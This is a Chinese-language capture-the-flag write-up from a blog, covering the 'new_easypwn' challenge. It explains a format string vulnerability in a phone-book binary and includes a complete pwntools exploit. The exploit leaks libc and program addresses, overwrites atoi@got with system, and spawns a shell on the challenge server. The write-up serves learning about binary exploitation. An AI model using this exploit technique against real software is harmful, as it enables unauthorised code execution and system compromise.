首页 > 其他分享 >攻防世界 new_easypwn 题解

攻防世界 new_easypwn 题解

时间:2022-09-05 01:00:58浏览次数:103  
标签:easypwn libc 题解 start 地址 sh sendlineafter new main

攻防世界 new_easypwn 题解

程序分析

查看程序基本情况,如图,该程序是64位程序,开启了Canary、NX、PIE保护。

使用ida64打开分析程序,该程序是个电话录之类的,可以添加、删除、查看、修改通讯录。在查看函数这里发现存在字符串格式化漏洞,如图红框中标注所示。

其中图中地址unk_2020E0 + 32*v1为用户输入的电话号码内容,如图(添加功能程序)标注出来的部分。其中下图中的dword_2020BC与上图中的v1都是索引(0,1,2,3),只是后者为用户输入选择的索引,前者为程序记录的电话录计数器。unk_2020E0为通讯记录存储基址,phone信息存储在对应记录起始地址处,大小为11;name信息存储在对应记录起始地址偏移11处;每个记录大小为32。

特别的,在添加通讯录时,描述信息des字符串地址存储在索引为0的记录中的name属性后,如图,qword_2020F8地址为上图unk_2020E0 + 11(name字段)偏移13处。

在进行通讯录修改操作时,会将用户输入内容写入qword_2020F8[4*v1]所指向的地址处。通过前面的分析,我们知道qword_2020F8[4*0]地址位于索引为0的用户通讯录记录name字段后紧邻位置,并且name字段输入无大小限制,所以我们可以通过设计索引为0的name的输入,控制qword_2020F8[0]所指向的地址值,进而向该地址输入数据,即可以向任意地址写入数据。这是解这道题时比较巧妙的地方。

解题思路

这道题的主要思路是通过调试分析和格式化字符串漏洞将栈上有关数据溢出,进而计算出程序加载基址和动态链接库中函数地址,进一步算出动态链接库加载基址,然后可以获得system地址和函数atoi@got地址,通过修改函数got表地址为system地址,使程序在调用该函数时调用system("/bin/sh")进而获得系统shell。

详细过程

给程序设断点,运行到存在字符串格式化漏洞的printf函数处。分析栈数据如图,此处进入了printf函数内部,所以顶部为返回地址。在64位程序,函数传参先传给6个寄存器,然后存到栈上,那么从+0x0008位置开始为相对于格式化字符串参数的第6、7、8...个参数。在其中存在__libc_start_main函数偏移240的地址(第13个参数),此外通过分析还可以发现第9个参数地址为程序偏移0x1274处地址,由此可以计算出__libc_start_main函数地址和程序加载基址。

即通过格式化字符串漏洞泄露(%13$p%9$p)出第13个参数和第9个参数的值,前者减240为__libc_start_main函数地址,后者减0x1274(或&0xfffffffffff00000)为程序加载基址。

Add('%13$p%9$p','aaaaaaaa','15','12345678')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
elf_base = int(sh.recv(12),16) - 0x1274

通过ELF加载程序和提供的链接库得到链接库基址,进一步得到system函数地址和atoi@got地址。

elf = ELF('./hello')
libc = ELF('libc-2.23.so')
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']

最后基于前面分析的漏洞,通过修改通讯录函数,覆写atoi@got地址为system,当再次选择功能时,输入/bin/sh就会调用system("/bin/sh")得到shell。

Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()

完整代码如下

from pwn import *

elf = ELF('./hello')
libc = ELF('libc-2.23.so')
sh = remote('61.147.171.105',54903)

def Add(phone,name,size,info):
    sh.sendlineafter('choice>>','1')
    sh.sendlineafter('number:',phone)
    sh.sendlineafter('name:',name)
    sh.sendlineafter('size:',size)
    sh.sendlineafter('info:',info)

def Edit(index,phone,name,info):
    sh.sendlineafter('choice>>','4')
    sh.sendlineafter('index:',index)
    sh.sendlineafter('number:',phone)
    sh.sendlineafter('name:',name)
    sh.sendlineafter('info:',info)

def Show(index):
    sh.sendlineafter('choice>>','3')
    sh.sendlineafter('index:',index)

# 泄露相关栈地址
Add('%13$p%9$p','aaaaaaaa','15','12345678')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
# 计算基址及所需函数地址
elf_base = int(sh.recv(12),16) - 0x1274
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']

# 修改atoi@got为system地址
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()
print(sh.recv())

运行结果如图所示

其他

在调试分析程序时,不同的动态链接库会影响程序分析的结果。

起初我使用自己电脑上的动态链接库分析时,栈上__libc_start_main相关地址偏移为205而非240,所以一直无法利用成功。后来clone了https://github.com/matrix1001/glibc-all-in-one.git项目,下载了与题目类似的链接库,利用patchelf使程序加载该库,才获得了正确的结果。

patchelf --replace-needed libc.so.6 ./libc-2.23.so hello
patchelf --set-interpreter ./ld-2.23.so hello

参考:PWN 更换目标程序libc

标签:easypwn,libc,题解,start,地址,sh,sendlineafter,new,main
From: https://www.cnblogs.com/C0ngvv/p/16656671.html

相关文章

  • 题解:如何得到npy
    如何得到npy题目链接普及组模拟赛良心第四题,感觉比第三题简单捏。这道题分成两问。对于前一问,简化题意是给定一棵有\(n\)个点的树,给定两个起点\(s\)和\(t\),求一个......
  • NewFolder(1)
    ProblemStatementFortwostrings$A$and$B$,let$A+B$denotetheconcatenationof$A$and$B$inthisorder.Youaregiven$N$strings$S_1,\ldots,S_N$.Mod......
  • 1530 bingo 不是题解
    *2600的死活卡住出不来,想啊,很想啊(指remake21*21的方阵,每个位置有一个概率是1,求凑出来bingo的概率这种题目先考虑容斥,那就是1-凑不出bingo的概率。直接做是2^44的,我做牛......
  • linux教材一、二章 练习及遇到的问题解决过程
      暑假期间我将VMware的ubuntu虚拟机重新装载了(之前崩了),并每天在终端练习运行命令行。开学后当我又重新打开ubuntu时,发现又出现了问题,如下图所示:     提示......
  • 【转载】Qt6.2.4 qml ChartView 实现饼状图与问题解决
    转载https://www.bilibili.com/video/BV1dS4y1u7vN?p=30&vd_source=64f1a4c05d797eb3cca1ef771fd46c22环境环境版本windows10QT6.2.4QtCreator8.0......
  • 关于eclipse(64位)下aptana插件安装报错问题解决
    关于eclipse(64位)下aptana插件安装报错问题解决_z1m2爱的博客-CSDN博客 https://blog.csdn.net/zoumin123456/article/details/48285589最近一直没有写过js,换了新电脑以......
  • P2776 [SDOI2007]小组队列题解
    需要解决的问题1.如何将小组中的元素插进去?2.如何按顺序输入。思路显然,这个题的名字就是小组队列,并根据题意及样例,我们可以比较容易的想到队列这个东西。首先......
  • Jenkins中HTML报告无法正常显示问题解决
    自动化结果生成了HTML报告,但是在Jenkins中打开报告却显示空白,打开控制台,可以看到该报错参考https://www.jenkins.io/doc/book/security/configuring-content-security-po......
  • 洛谷P1558 色板游戏 题解
    高考完后随机跳题的复建运动。看到区间覆盖操作考虑线段树。30种颜色?用位运算存储节省空间。因为在线段树上传合并时只需要考虑这一段是否存在该颜色,(即\(0\)或\(1\))具体......
  • AGC010F 题解
    现在也就会写一写代码长度不超过\(1k\)的题目了。/kk看上去一脸不可做,看到从必败状态逆推的提示后会了。考虑什么算是必败状态,我们设此时棋子所在的位置为\(now\)......